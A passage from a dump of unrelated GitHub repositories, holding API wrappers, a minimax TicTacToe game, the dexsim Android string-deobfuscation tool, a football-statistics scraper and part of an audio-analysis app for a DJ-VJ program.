requests import operator import time # Variables _msurl = 'https://api.projectoxford.ai/vision/v1.0/analyze' _mskey = '' # YOUR Microsoft Computer Vision API token here _msMaxNumRetries = 10 def msProcessRequest(json, data, headers, params): """ Helper function to process the request to Project Oxford Parameters: json: Used when processing images from its URL. See API Documentation data: Used when processing image read from disk. See API Documentation headers: Used to pass the key information and the data type request """ retries = 0 result = None while True: response = requests.request( 'post', _msurl, json=json, data=data, headers=headers, params=params) if response.status_code == 429: print("Message: %s" % (response.json()['error']['message'])) if retries <= _msMaxNumRetries: time.sleep(1) retries += 1 continue else: print('Error: failed after retrying!') break elif response.status_code == 200 or response.status_code == 201: if 'content-length' in response.headers and int(response.headers['content-length']) == 0: result = None elif 'content-type' in response.headers and isinstance(response.headers['content-type'], str): if 'application/json' in response.headers['content-type'].lower(): result = response.json() if response.content else None elif 'image' in response.headers['content-type'].lower(): result = response.content else: print("Error code: %d" % (response.status_code)) print("Message: %s" % (response.json()['error']['message'])) break return result if __name__ == '__main__': main() --- FILE SEPARATOR --- #!/usr/bin/env python3 # importing Translator class for translations. from yandex_translate import YandexTranslate # Your Yandex API credentials here translator = YandexTranslate('') def translate_en_pt(message): phrase_translated = translator.translate(message, 'pt') str = "".join(phrase_translated.get('text')) return str def translate_en_persian(message): phrase_translated = translator.translate(message, 'fa') str = "".join(phrase_translated.get('text')) return str
[ "/bot.py", "/mscomputervision.py", "/translator.py" ]
0x70DA/TicTacToe
from player import HumanPlayer, ComputerPlayer class TicTacToe: def __init__(self): # create empty board self.board = [' ' for _ in range(9)] self.winner = None @staticmethod def print_board_nums(): """Print a numbered board at the beginning of the game.""" for row in [[str(i) for i in range(j*3, (j*3)+3)] for j in range(3)]: print('|' + ' | '.join(row) + '|') def print_board(self): """Print the current board""" for row in [self.board[i*3:(i*3)+3] for i in range(3)]: print('|' + ' | '.join(row) + '|') def available_moves(self): """Return a list of available moves.""" return [index for index, value in enumerate(self.board) if value == " "] def make_move(self, move, letter): if self.board[move] == " ": self.board[move] = letter if self.check_winner(move, letter): self.winner = letter return True return False def check_winner(self, move, letter): """check the vertical and horizontal and the diagonals.""" row_index = move // 3 row = self.board[row_index*3:(row_index*3) + 3] if all([i == letter for i in row]): return True col_index = move % 3 col = [self.board[col_index+i] for i in range(0, 7, 3)] if all([c == letter for c in col]): return True # The diagonal are at (0,4,8), (2,4,6) if move % 2 == 0: diagonal = [self.board[i] for i in [0, 4, 8]] if all([d == letter for d in diagonal]): return True diagonal = [self.board[i] for i in [2, 4, 6]] if all(d == letter for d in diagonal): return True return False def has_empty_squares(self): return ' ' in self.board --- FILE SEPARATOR --- import time from game import TicTacToe from player import HumanPlayer, ComputerPlayer, AIPlayer def play(game, player_x, player_y, print_game=True): if print_game: TicTacToe.print_board_nums() letter = 'X' while game.has_empty_squares(): if letter == 'X': move = player_x.get_move(game) else: move = player_y.get_move(game) # check if the move is available if game.make_move(move, letter): if print_game: print(f"{letter} makes a move to square {move}") game.print_board() print() if game.winner != None: if print_game: print(f"{letter} wins!!!") return letter # end the loop and exit the game letter = "O" if letter == "X" else "X" time.sleep(1) # delay one second between each turn # the loop finished and it's a tie. if print_game: print("It's a tie!!!") if __name__ == "__main__": game = TicTacToe() player1 = HumanPlayer('X') player2 = AIPlayer('O') play(game, player1, player2, True) --- FILE SEPARATOR --- import random import math class ComputerPlayer: """A computer player class, that randomly chooses moves.""" def __init__(self, letter): self.letter = letter def get_move(self, game): return random.choice(game.available_moves()) class HumanPlayer: """A Human player class.""" def __init__(self, letter): self.letter = letter def get_move(self, game): while True: move = input(f"{self.letter}'s turn. Enter move(0-8): ") try: move = int(move) if move not in game.available_moves(): raise ValueError break except ValueError: print("Invalid square. Choose again.") return move class AIPlayer: def __init__(self, letter): self.letter = letter def get_move(self, game): if len(game.available_moves()) == 9: # pick a random square as the first move. move = random.choice(game.available_moves()) else: # use the minimax algorithm. move = self.minimax(game, self.letter)['position'] return move def minimax(self, state, player): max_player = self.letter # the smart computer player other_player = 'O' if player == 'X' else 'X' # check if the previous move is a winning move? if state.winner == other_player: return { 'position': None, 'score': 1 * (len(state.available_moves()) + 1) if other_player == max_player else -1 * (len(state.available_moves()) + 1) } elif len(state.available_moves()) == 0: return {'position': None, 'score': 0} if player == max_player: # any score should be more to maximize the score best_move = {'position': None, 'score': -math.inf} else: # any score should be less to minimize the score best_move = {'position': None, 'score': math.inf} # try out every possible move. for possible_move in state.available_moves(): # make the move state.make_move(possible_move, player) # simulate a game after making that move sim_score = self.minimax(state, other_player) # undo the move state.board[possible_move] = ' ' state.winner = None sim_score['position'] = possible_move # the next optimal move if player == max_player: if sim_score['score'] > best_move['score']: best_move = sim_score else: if sim_score['score'] < best_move['score']: best_move = sim_score return best_move
[ "/game.py", "/main.py", "/player.py" ]
0x90/dexsim
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys from time import clock import click from dexsim.sim import DexSim @click.command(context_settings=dict(help_option_names=["-h", "--help"])) @click.option('-i', '--include-pattern', help='Only optimize methods and classes matching the pattern, e.g. La/b/c;->decode') @click.option('-o', '--output', type=click.Path(), default=None, help='Output file path', show_default=True) @click.option('-l', '--logfile', default='dexsim.log', help='Logfile output', show_default=True) @click.option('-D', '--debug', is_flag=True, help='Enable debug mode') @click.argument('targets', nargs=-1, ) def command1(include_pattern, output, logfile, debug, targets): """Simulate APK/DEX/JAR""" # TODO: add support for DEBUG and log files start = clock() d = DexSim() try: for t in targets: d.run(t, output, include_pattern) # try: # d.run(t, output, include_pattern) # except Exception as ex: # print('Exception while parsing %s %s' % (t, ex)) # continue except KeyboardInterrupt: print('KeyboardInterrupt caught. Exiting...') sys.exit(-1) finally: finish = clock() print('\n%fs' % (finish - start)) def main(): command1() if __name__ == '__main__': command1() --- FILE SEPARATOR --- import os import time import json import logging import tempfile # from dexsim.adbwrapper import ADB from dexsim import settings logger = logging.getLogger(__name__) DSS_PATH = '/data/local/dss' DSS_APK_PATH = '/data/local/dss/tmp.apk' DSS_DATA_PATH = '/data/local/dss_data' DSS_OUTPUT_PATH = '/data/local/dss_data/od-output.json' DSS_TARGETS_PATH = '/data/local/dss_data/od-targets.json' DSS_EXCEPTION_PATH = '/data/local/dss_data/od-targets.json' DSS_NEW_PATH = '/data/local/dss_data/new' DSS_FINISH_PATH = '/data/local/dss_data/finish' class Driver: def __init__(self, adb_path='adb'): """Init adb and command. export CLASSPATH=/data/local/od.zip; app_process /system/bin org.cf.oracle.Driver @/data/local/od-targets.json; """ self.adb = ADB(adb_path) def set_new_dss(self): self.adb.shell_command(['echo', 'Yes', '>', DSS_NEW_PATH]) def create_dss_folders(self): self.adb.shell_command(['mkdir', DSS_PATH, DSS_DATA_PATH]) def install_dss(self): self.adb.install(reinstall=True, pkgapp=settings.DSS_SERVER_PATH) def uninstall_dss(self): self.adb.uninstall('me.mikusjelly.dss') def cook(self): self.create_dss_folders() self.set_new_dss() self.stop_dss() self.uninstall_dss() self.install_dss() def start_dss(self): self.adb.shell_command(['echo', 'No', '>', DSS_FINISH_PATH]) self.adb.su_command(['am', 'broadcast', '-a', 'dss.start']) self.adb.su_command(['am', 'startservice', 'me.mikusjelly.dss/.DSService']) def stop_dss(self): self.adb.su_command(['am', 'force-stop', 'me.mikusjelly.dss']) def push_to_dss(self, apk_path): self.adb.run_cmd(['push', apk_path, DSS_APK_PATH]) output = self.adb.get_output().decode('utf-8', errors='ignore') if 'failed' in output: print(output) return False return True def decode(self, targets): self.adb.run_cmd(['push', targets, DSS_TARGETS_PATH]) output = self.adb.get_output().decode('utf-8', errors='ignore') if 'failed' in output: # print(output) return False self.start_dss() counter = 0 while 1: time.sleep(3) counter += 3 self.adb.su_command(['cat', DSS_FINISH_PATH]) output = self.adb.get_output().decode('utf-8', errors='ignore') if 'Yes' in output: break if counter > 180: print("Driver time out", output) self.stop_dss() return tempdir = tempfile.gettempdir() output_path = os.path.join(tempdir, 'output.json') self.adb.run_cmd( ['pull', DSS_OUTPUT_PATH, output_path]) result = None with open(output_path, mode='r+', encoding='utf-8') as ofile: size = len(ofile.read()) if not size: self.adb.run_cmd(['pull', DSS_EXCEPTION_PATH, 'exception.txt']) self.adb.shell_command(['rm', DSS_EXCEPTION_PATH]) else: ofile.seek(0) result = json.load(ofile) if not settings.DEBUG: self.adb.shell_command(['rm', DSS_OUTPUT_PATH]) self.adb.shell_command(['rm', DSS_TARGETS_PATH]) else: self.adb.shell_command(['pull', DSS_TARGETS_PATH]) os.unlink(output_path) self.stop_dss() return result --- FILE SEPARATOR --- from smafile import SmaliDir from dexsim import settings from dexsim.driver import DSS_APK_PATH from dexsim.plugin_manager import PluginManager class Oracle: def __init__(self, smali_dir, driver, include_str): self.driver = driver self.smalidir = SmaliDir(smali_dir, settings.FILTERS_LIST) self.plugin_manager = PluginManager(self.driver, self.smalidir) def divine(self): plugins = self.plugin_manager.get_plugins() flag = True smali_mtds = set() # 存放已被修改的smali方法 while flag: flag = False for plugin in plugins: plugin.run() smali_mtds = smali_mtds.union(plugin.smali_mtd_updated_set) print(plugin.make_changes) flag = flag | plugin.make_changes plugin.make_changes = False self.driver.adb.shell_command(['rm', DSS_APK_PATH]) --- FILE SEPARATOR --- import logging import re from time import clock from smaliemu.emulator import Emulator from timeout3 import TIMEOUT_EXCEPTION from ..plugin import Plugin __all__ = ["TEMPLET_PLUS"] logger = logging.getLogger(__name__) android_strs = [ 'Ljava/lang/System;', 'Landroid/os/Environment', 'Ljava/lang/String;->' ] class TEMPLET_PLUS(Plugin): ''' 自动匹配解密插件 用于匹配那些比较麻烦的解密方法,相对比较耗时——有时候,会超级耗时 ''' name = "TEMPLET_PLUS" enabled = True tname = None def __init__(self, driver, smalidir): Plugin.__init__(self, driver, smalidir) self.emu2 = Emulator() def run(self): print('Run ' + __name__, end=' ', flush=True) logger.info('running') start = clock() self.proccess() finish = clock() print('\n%fs' % (finish - start)) def proccess(self): line_ptn = ( r'invoke-static.*?{([v\.\d,\s]*)}, (.*?);->(.*?)' r'\(((?:B|S|C|I|J|F|D|Ljava/lang/String;|' r'\[B|\[S|\[C|\[I|\[J|\[F|\[D|\[Ljava/lang/String;' r')*?)\)Ljava/lang/String;') prog_line = re.compile(line_ptn) proto_ptn = ( r'(B|S|C|I|J|F|D|Ljava/lang/String;|' r'\[B|\[S|\[C|\[I|\[J|\[F|\[D|\[Ljava/lang/String;)' ) prog_proto = re.compile(proto_ptn) arr_data_prog = re.compile(self.ARRAY_DATA_PATTERN) move_result_obj_ptn = r'move-result-object ([vp]\d+)' move_result_obj_prog = re.compile(move_result_obj_ptn) for sf in self.smalidir: for mtd in sf.get_methods(): # if 'xgtRtRawcet' not in str(mtd): # continue # print(mtd) # 如果存在数组 array_data_content = [] arr_res = arr_data_prog.search(mtd.get_body()) if arr_res: array_data_content = re.split(r'\n\s', arr_res.group()) lines = re.split(r'\n\s*', mtd.get_body()) old_body = lines.copy() # 存放原始方法体 new_body = [] # 存放解密后的方法体 snippet = [] # 存放smali代码 args = {} # 存放方法参数,用于smaliemu执行 index = -1 # 用于计数 for line in lines: snippet.append(line) index += 1 if 'invoke-static' not in line: new_body.append(line) continue flag = False # TODO 排除Android自身的类 for clz in android_strs: if clz in line: flag = True break if flag: new_body.append(line) continue result = prog_line.match(line) if not result: new_body.append(line) continue # register_name, class_name, mtd_name, protos # ('v1, v2, v3', 'Lcom/game/pay/sdk/y', 'a', 'ISB') # 解密参数的寄存器名 rnames = result.groups()[0].split(', ') cname = result.groups()[1][1:].replace('/', '.') mname = result.groups()[2] protos = prog_proto.findall(result.groups()[3]) # 初始化所有寄存器 del snippet[-1] snippet.extend(array_data_content) try: args.update(self.pre_process(snippet)) except TIMEOUT_EXCEPTION: pass try: registers = self.get_vm_variables( snippet, args, rnames) args = registers if registers else args except TIMEOUT_EXCEPTION: snippet.clear() new_body.append(line) continue # 已经执行过的代码,不会执行 # emu 执行后,self.emu.vm.variables 的值是一直保存的 snippet.clear() if not registers: new_body.append(line) continue # 从寄存器中获取对应的参数 # 参数获取 "arguments": ["I:198", "I:115", "I:26"]} arguments = [] # args = {} # the parameter of smali method ridx = -1 for item in protos: ridx += 1 rname = rnames[ridx] if rname not in registers: break value = registers[rnames[ridx]] argument = self.convert_args(item, value) if argument is None: break arguments.append(argument) if len(arguments) != len(protos): new_body.append(line) continue json_item = self.get_json_item(cname, mname, arguments) # {id}_{rtn_name} 让这个唯一化,便于替换 old_content = '# %s' % json_item['id'] # 如果 move_result_obj 操作存在的话,解密后一起替换 find = move_result_obj_prog.search(lines[index + 1]) if find: rtn_name = find.groups()[0] # 为了避免 '# abc_v10' 替换成 '# abc_v1' old_content = old_content + '_' + rtn_name + 'X' self.append_json_item(json_item, mtd, old_content, rtn_name) else: old_content = old_content + '_X' self.append_json_item( json_item, mtd, old_content, None) # print(mtd) old_body[index] = old_content mtd.set_body('\n'.join(old_body)) self.optimize() self.clear() --- FILE SEPARATOR --- """ 字符串内置函数 """ import logging import re from timeout3 import TIMEOUT_EXCEPTION, timeout from dexsim.plugin import Plugin logger = logging.getLogger(__name__) __all__ = ["STRING_FUN_PLUS"] class STRING_FUN_PLUS(Plugin): ''' 模拟执行字符串相关函数 String, StringBuilder, StringBuffer等。 ''' name = "STRING_FUN_PLUS" enabled = True def __init__(self, driver, smalidir): Plugin.__init__(self, driver, smalidir) self.make_changes = False self.arr_data_prog = re.compile(self.ARRAY_DATA_PATTERN) self.patterns = [ ( r'invoke-direct {(v\d+), v\d+}, ' r'Ljava/lang/String;-><init>\([\[BCI]+\)V', 'Ljava/lang/String;-><init>' ), ( r'invoke-static {(v\d+)}, Ljava/lang/String;->valueOf' r'\(Ljava/lang/Object;\)Ljava/lang/String;', 'Ljava/lang/String;->valueOf' ), ( r'invoke-virtual {(v\d+)}, ' r'Ljava/lang/StringBuilder;->toString\(\)Ljava/lang/String;', 'Ljava/lang/StringBuilder;->toString()Ljava/lang/String;' ), ( r'invoke-virtual {(v\d+)}, ' r'Ljava/lang/StringBuffer;->toString\(\)Ljava/lang/String;', 'Ljava/lang/StringBuffer;->toString()Ljava/lang/String;' ), ( r'invoke-virtual {(.*?), v\d+, v\d+}, ' r'Ljava/lang/String;->substring\(II\)Ljava/lang/String;', 'Ljava/lang/String;->substring(II)Ljava/lang/String;' ) ] self.progs = {} for ptn, mtd_filter in self.patterns: self.progs[mtd_filter] = re.compile(ptn) def run(self): print('Run ' + __name__, end=' ', flush=True) self.project_a() # for ptn, mtd_filter in self.patterns: # self._process(ptn, mtd_filter) def project_a(self): for sf in self.smalidir: for mtd in sf.get_methods(): body = mtd.get_body() for k in self.progs: if k in mtd.get_body(): break else: continue array_snippet = self.get_array_snippet(body) try: flag, new_body = self.process_body(body, array_snippet) except TIMEOUT_EXCEPTION: continue if flag: mtd.set_body('\n'.join(new_body)) mtd.set_modified(True) self.make_changes = True self.smali_files_update() @timeout(1) def process_body(self, body, arrs): lines = re.split(r'\n', body) flag = False new_body = [] snippet = [] args = {} for line in lines: snippet.append(line) for _, prog in self.progs.items(): result = prog.search(line) if result: break else: # 如果smali代码存在非字符串调用,则清理所有代码 if 'invoke-' in line and ', Ljava/lang/String' not in line: snippet.clear() new_body.append(line) continue rtname = result.groups()[0] snippet.append('return-object %s' % rtname) snippet.extend(arrs) args.update(self.pre_process(snippet)) self.emu.call(snippet, args=args, thrown=False) args = self.emu.vm.variables result = self.emu.vm.result if result: flag = True if not isinstance(result, str): result = str(result) new_line = 'const-string %s, "%s"' % ( rtname, result.encode('unicode-escape').decode()) if 'array' in new_body[-2]: del new_body[-1] del new_body[-1] new_body.append(new_line) else: new_body.append(line) snippet.clear() return (flag, new_body) def _process(self, ptn, mtd_filter): prog = re.compile(ptn) for sf in self.smalidir: for mtd in sf.get_methods(): body = mtd.get_body() if mtd_filter not in body: continue try: self.proc_mtd(mtd, prog) except TIMEOUT_EXCEPTION: pass self.smali_files_update() def get_array_snippet(self, mtd_body): result = self.arr_data_prog.search(mtd_body) if result: return re.split(r'\n\s', result.group()) else: return [] @timeout(1) def proc_mtd(self, mtd, prog): # 如果存在数组,则抽取数组部分的smali代码 array_data_content = [] result = self.arr_data_prog.search(mtd.get_body()) if result: array_data_content = re.split(r'\n\s', result.group()) flag = False new_body = [] snippet = [] args = {} lines = re.split(r'\n', mtd.get_body()) for line in lines: snippet.append(line) result = prog.search(line) if not result: # 如果smali代码存在非字符串调用,则清理所有代码 if line.startswith('invoke-') and 'Ljava/lang/String' not in line: snippet.clear() new_body.append(line) continue rtname = result.groups()[0] snippet.append('return-object %s' % rtname) snippet.extend(array_data_content) args.update(self.pre_process(snippet)) self.emu.call(snippet, args=args, thrown=False) args = self.emu.vm.variables result = self.emu.vm.result if result: flag = True if not isinstance(result, str): result = str(result) new_line = 'const-string %s, "%s"' % ( rtname, result.encode('unicode-escape').decode()) if 'array' in new_body[-2]: del new_body[-1] del new_body[-1] new_body.append(new_line) else: new_body.append(line) snippet.clear() if flag: mtd.set_body('\n'.join(new_body)) mtd.set_modified(True) self.make_changes = True @timeout(1) def run_snippet(self, snippet, args): self.emu.call(snippet, args=args, thrown=False) --- FILE SEPARATOR --- import os import sys import logging # MAIN_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) # with open(os.path.join(MAIN_PATH, 'datas', 'filters.txt')) as f: # FILTERS = f.read().splitlines() MAIN_PATH = os.path.abspath(os.path.dirname(__file__)) BAKSMALI_PATH = os.path.join(MAIN_PATH, 'jar', 'baksmali.jar') SMALI_PATH = os.path.join(MAIN_PATH, 'jar', 'smali.jar') if not os.path.exists(SMALI_PATH): logging.error('Could not find %s' % SMALI_PATH) sys.exit(-1) if not os.path.exists(BAKSMALI_PATH): logging.error('Could not find %s' % BAKSMALI_PATH) sys.exit(-1) FILTERS_PATH = os.path.join(MAIN_PATH, 'data', 'filters.txt') if not os.path.exists(FILTERS_PATH): logging.error('Could not find %s' % FILTERS_PATH) sys.exit(-1) # TODO: locate java binary! JAVA_PATH = 'java' with open(FILTERS_PATH) as f: FILTERS_LIST = f.read().splitlines() logging.info('Loaded %i filters' % len(FILTERS_LIST)) # DSS_SERVER_PATH = os.path.join(MAIN_PATH, 'server', 'app-release.apk') DSS_SERVER_PATH = os.path.join(MAIN_PATH, 'server', 'dss.apk') DEBUG = False --- FILE SEPARATOR --- #!/usr/bin/env python # -*- coding: utf-8 -*- # import os import re import shutil import tempfile import zipfile # from cigam import Magic # from dexsim.settings import DEBUG from dexsim.driver import Driver from dexsim.oracle import Oracle from dexsim.utils import baksmali, smali def dexsim_dex(dex_file, smali_dir, include_str, output_dex): driver = Driver() print('Cooking driver..') driver.cook() driver.start_dss() # print('Using driver: %s Pushing to dss..' % str(driver)) driver.push_to_dss(dex_file) oracle = Oracle(smali_dir, driver, include_str) oracle.divine() output_dir = output_dex if output_dex else os.path.splitext(os.path.basename(dex_file))[0] + '.sim.dex' smali(smali_dir, output_dir) if not DEBUG: shutil.rmtree(smali_dir) class DexSim(object): def __init__(self): self.smali_dir = os.path.join(os.path.abspath(os.curdir), 'smali') if DEBUG else tempfile.mkdtemp() def sim_apk(self, apk_path, output_path, include_str=None): # Temp dir tempdir = os.path.join(os.path.abspath(os.curdir), 'tmp_dir') if DEBUG else tempfile.mkdtemp() if not os.path.exists(tempdir): os.mkdir(tempdir) # Classes extraction print('Extracing classes...') count = 0 ptn = re.compile(r'classes\d*.dex') zip_file = zipfile.ZipFile(apk_path) for item in zip_file.namelist(): if ptn.match(item): output_path = zip_file.extract(item, tempdir) baksmali(output_path, self.smali_dir) count += 1 zip_file.close() print('Extracted %i classes' % count) dexsim_dex(apk_path, self.smali_dir, include_str, output_path) if not DEBUG: shutil.rmtree(tempdir) def sim_dex(self, dex_path, output_path, include_str=None): baksmali(dex_path, self.smali_dir) dexsim_dex(dex_path, self.smali_dir, include_str, output_path) def sim_dir(self, input_path, output_path, include_str=None): smali_dir = input_path[:-1] if input_path.endswith('\\') or input_path.endswith('/') else input_path dex_file = smali(smali_dir, os.path.basename(smali_dir) + '.dex') dexsim_dex(dex_file, smali_dir, include_str, output_path) def run(self, input_path, output_path, include_str): if os.path.isdir(input_path): return self.sim_dir(input_path, output_path, include_str) file_type = Magic(input_path).get_type() print('File type: %s' % file_type) if file_type == 'apk': return self.sim_apk(input_path, output_path, include_str) elif file_type == 'dex': return self.sim_dex(input_path, output_path, include_str) print("Please give smali_dir/dex/apk.") return -1 --- FILE SEPARATOR --- import os import shutil import subprocess from dexsim.settings import JAVA_PATH, BAKSMALI_PATH, SMALI_PATH, FILTERS_LIST def baksmali(dex_file, output_dir='out'): """ dex to smali """ cmd = '{} -jar {} d {} -o {}'.format(JAVA_PATH, BAKSMALI_PATH, dex_file, output_dir) print(cmd) subprocess.call(cmd, shell=True) for line in FILTERS_LIST: clz = line.split('#')[0] xpath = output_dir + os.sep + clz.replace('.', os.sep).strip('\n') if os.path.exists(xpath): shutil.rmtree(xpath) return output_dir def smali(smali_dir, output_file='out.dex'): """ smali to dex """ cmd = '{} -jar {} a {} -o {}'.format(JAVA_PATH,SMALI_PATH, smali_dir, output_file) print(cmd) subprocess.call(cmd, shell=True) return output_file --- FILE SEPARATOR --- #!/usr/bin/env python # -*- coding: utf-8 -*- # from setuptools import setup, find_packages setup( name='dexsim', version='0.1.0', packages=find_packages(), include_package_data=True, install_requires=[ 'Click', # 'Click_utils', 'powerzip', # 'adbwrapper', 'cigam', 'pyaml', 'smafile', 'smaliemu', 'timeout3', ], package_data={ 'dexsim': ['dexsim/data/*', 'dexsim/server/*', 'dexsim/smali/*'], }, entry_points=''' [console_scripts] dexsim=dexsim.cli:main ''', )
[ "/dexsim/cli.py", "/dexsim/driver.py", "/dexsim/oracle.py", "/dexsim/plugins/b_templet_plus.py", "/dexsim/plugins/c_string_fun_plus.py", "/dexsim/settings.py", "/dexsim/sim.py", "/dexsim/utils.py", "/setup.py" ]
0xAlan/Fantasy-football-receiving
#Please create folder "playerfiles". There will be many csv files created #Also, please make sure beautifulsoup is installed import pandas as pd import numpy as np import statistics import re import requests from bs4 import BeautifulSoup from fields import * from playerlist import * playerdata = playerList() listlen = len(playerdata) for i in range(listlen): # construct hyperlink for individual player urlbase = "https://www.pro-football-reference.com/players/" firstletter = playerdata.loc[i]['hyperlink'][0] hyperlink = playerdata.loc[i]['hyperlink'] url = urlbase + firstletter + "/" + hyperlink + ".htm" filename_ = "playerfiles/" + playerdata.loc[i]["file name"] + str(i) + ".csv" page = requests.get(url) soup = BeautifulSoup(page.text,'html.parser') rows = soup.find('tbody') ind = find_index(rows) # year played touchd = find_rectd(rows) # touchdowns yards = find_recyards(rows) # receiving yards games = find_games(rows) # games targets = find_targets(rows) # targets receptions = find_receptions(rows) # receptions n data = {"Year": ind, "Games played": games,"Targets" : targets, "Rec" : receptions,"Yds" : yards, "TD" : touchd} # check if all vectors are the same length, before they are combined into data frame lens = [len(ind),len(games), len(targets), len(receptions), len(yards), len(touchd)] if np.std(lens) != 0: continue #print(url) df = pd.DataFrame(data) df.to_csv(filename_) --- FILE SEPARATOR --- #handles the structure of data to be converted ultimately to csv files from bs4 import BeautifulSoup # find year played def find_index(rows): counter = 0 ind = [] for data in rows.find_all('a'): for cell in data: counter += 1 if counter % 2 == 1: try: temp = int(cell) except: continue ind.append(temp) return ind # find number of touchdowns def find_rectd(rows): touchd = [] for data in rows.find_all('td', {"data-stat":"rec_td"}): for cell in data: temp = "" for bit in str(cell): if bit.isnumeric(): temp += bit touchd.append(int(temp)) return touchd # find receiving yards def find_recyards(rows): yards = [] for data in rows.find_all('td', {"data-stat":"rec_yds"}): for cell in data: temp = "" for bit in str(cell): if bit.isnumeric(): temp += bit yards.append(int(temp)) return yards #find number of games played def find_games(rows): games = [] for data in rows.find_all('td', {"data-stat":"g"}): for cell in data: temp = "" for bit in str(cell): if bit.isnumeric(): temp += bit games.append(int(temp)) return games #find number of targets def find_targets(rows): targets = [] for data in rows.find_all('td', {"data-stat":"targets"}): for cell in data: temp = "" for bit in str(cell): if bit.isnumeric(): temp += bit targets.append(int(temp)) return targets # find number of receptions def find_receptions(rows): receptions = [] for data in rows.find_all('td', {"data-stat":"rec"}): for cell in data: temp = "" for bit in str(cell): if bit.isnumeric(): temp += bit receptions.append(int(temp)) return receptions --- FILE SEPARATOR --- #Downloads a list of players and returns links for respective players with at least one reception import pandas as pd import re import requests from bs4 import BeautifulSoup def playerList(): url = "https://www.pro-football-reference.com/years/2019/receiving.htm" page = requests.get(url) soup = BeautifulSoup(page.text, 'html.parser') rows = soup.find('tbody') names = [] link = [] filenames = [] for links in rows.find_all('td', {"data-stat":"player"}): names.append(links['csk']) link.append(links["data-append-csv"]) temp = links['csk'].split(',') filenames.append(temp[1] + temp[0]) playerlistlinks = {'player': names, 'hyperlink': link, 'file name': filenames} playerdf = pd.DataFrame(playerlistlinks) return playerdf
[ "/FFreceiving.py", "/fields.py", "/playerlist.py" ]
0xBADEAFFE/DJ-VJ
""" Runs a simple behavioral test. As the user, I wish to be able to load the program, view the splash screen and then have the main screen with the options to Create or Load Show available to select. """ import time import djvj.gui as gui if __name__ == '__main__': print("Start Test") gui.IntroScreen() time.sleep(5) exit(0) --- FILE SEPARATOR --- #! /usr/bin/env python3 """ Defines the Averager class that can store an individual value, a list of values, and the last average that was calculated by the Averager function __author__ = "Timothy Dyar" __email__ = "tdyar@email.sc.edu" """ from collections import Counter class Avgs: def __init__(self): self.val = 0 self.valArr = [] # self.pitchArr.append(pitch) self.lastAvg = 0 def Averager(self): """ Takes in values, stores them, and once it reaches a certain number of values(in this case 10) it finds the mode out of the list and returns that mode. """ gets_tuple = 0 # Gets the length of the Array length = len(self.valArr) if length == 10: average = Counter(self.valArr) gets_tuple = average.most_common(1) self.lastAvg = gets_tuple[0][0] self.valArr.clear() return self.lastAvg elif length > 10: self.valArr.clear() return self.lastAvg else: return self.lastAvg --- FILE SEPARATOR --- import operator conditional_moment = [] official_list = [] error_list = [] pending_list = False class Bugger: def __init__(self, temp_moment, official_moment): #moment self.t_temp_moment = temp_moment #current param self.t_param = temp_moment[0] #sign self.t_sign = temp_moment[1] #value self.t_value = int(temp_moment[2]) self.official_moment = official_moment self.ops = { "<": operator.le, ">": operator.gt, "=": operator.eq, } #error counter self.strike = 0 def rule_check_in_list(self): global error_list """ checks if moment is empty""" if self.official_moment == []: return True else: """ checks if rule can be found within a range ex: Rule1 < Rule2 < Rule1 = Error""" for x in self.official_moment: self.strike = 0 for y in x: if y[0] == self.t_param: if self.ops[y[1]](self.t_value, int(y[2])): error_list.append(y) self.strike += 1 if self.strike >= 2: self.t_temp_moment.clear() return False error_list.clear() return True def rule_check_in_moment(self): global error_list global conditional_moment if conditional_moment == []: return True else: """ checks for overlapping conditions within a single moment""" for x in conditional_moment: if self.t_param == x[0]: if self.t_sign == x[1]: if self.ops[x[1]](self.t_value, int(x[2])) or self.ops[x[1]](int(x[2]), self.t_value): error_list.append(x) self.t_temp_moment.clear() return False return True def moment_to_list_comapare(mlist): global conditional_moment global error_list operation = { "<": operator.le, ">": operator.gt, "=": operator.eq, } num_of_rule = 0 num_of_error = 0 num_of_rule = len(conditional_moment) if mlist == []: return True else: """ compares the created momment with existising momments """ for x in mlist: if x == conditional_moment: error_list.append(x) return False for x in mlist: for y in x: for z in conditional_moment: if y[0] == z[0]: if y[1] == z[1]: if operation[y[1]](int(z[2]), int(y[2])): error_list.append(y) num_of_error += 1 if num_of_error == num_of_rule: return False error_list.clear() return True def add_rule_to_moment(rule): global conditional_moment global pending_list global error_list error_list.clear() rule = rule.copy() conditional_moment.append(rule) pending_list = True def add_moment_to_moment(): global conditional_moment global official_list global error_list error_list.clear() conditional_moment = conditional_moment.copy() official_list_copy = conditional_moment.copy() return conditional_moment def clear_moment_list(): global conditional_moment conditional_moment.clear() def remove_rule(): global conditional_moment global error_list #if rule was found in the error list, it will be removed also if conditional_moment in error_list: error_list.remove(conditional_moment) #removes rule from moment length = len(conditional_moment) conditional_moment.remove(conditional_moment[length - 1]) def give_list_of_error(): global error_list return error_list def give_current_moment(): global conditional_moment return conditional_moment --- FILE SEPARATOR --- #! /usr/bin/env python3 """ audio_listner is the main driver for analyzing audio __author__ = "Matthew J. Smith" __email__ = "mjs10@email.sc.edu" """ import time import pyaudio import numpy from aubio import db_spl import djvj.pitch as pitch import djvj.tempo as tempo from djvj.Averager import Averager from djvj.Averager import Avgs class AudioListener: """ sets up instances of audio analyzers """ def __init__(self, show): self.audio_input = Microphone() self.window_size = 4096 # needed for pyaudio and aubio self.hop_size = 512 # needed for pyaudio and aubio self.listen_params = set(show.params) # gets unique values from list # check for listening param and initalize necessary objects # also populate show.curr_param_values dictionary if 'pitch' in self.listen_params: self.pitch = pitch.Pitch( self.audio_input, self.window_size, self.hop_size) show.curr_param_values['pitch'] = 0 if 'tempo' in self.listen_params: self.tempo = tempo.Tempo( self.audio_input, self.window_size, self.hop_size) show.curr_param_values['tempo'] = 0 if 'volume' in self.listen_params: show.curr_param_values['volume'] = 0 if 'time' in self.listen_params: show.curr_param_values['time'] = 0 # initialize averager - used to find average of data # self.max_samples = 10 # number of samples collected to find true average # self.averager = averager.Averager(self.max_samples) self.averager = Avgs() # signals self.kill = False def __del__(self): self.audio_input.stream.stop_stream() self.audio_input.stream.close() self.audio_input.pyaudio_instance.terminate() def analyze(self, show): """ analyze() is the main loop for analyzing audio """ # get show start time if 'time' in self.listen_params: start_time = time.time() while not self.kill: try: # get next sample audiobuffer = self.audio_input.stream.read( self.audio_input.buffer_size, exception_on_overflow=False) # convert sample to list sample = numpy.frombuffer(audiobuffer, dtype=numpy.float32) if 'pitch' in self.listen_params: # analyze sample for aubio's pitch (currently in Hz) curr_pitch = self.pitch.analyze_pitch(sample) # add to average and find current true average 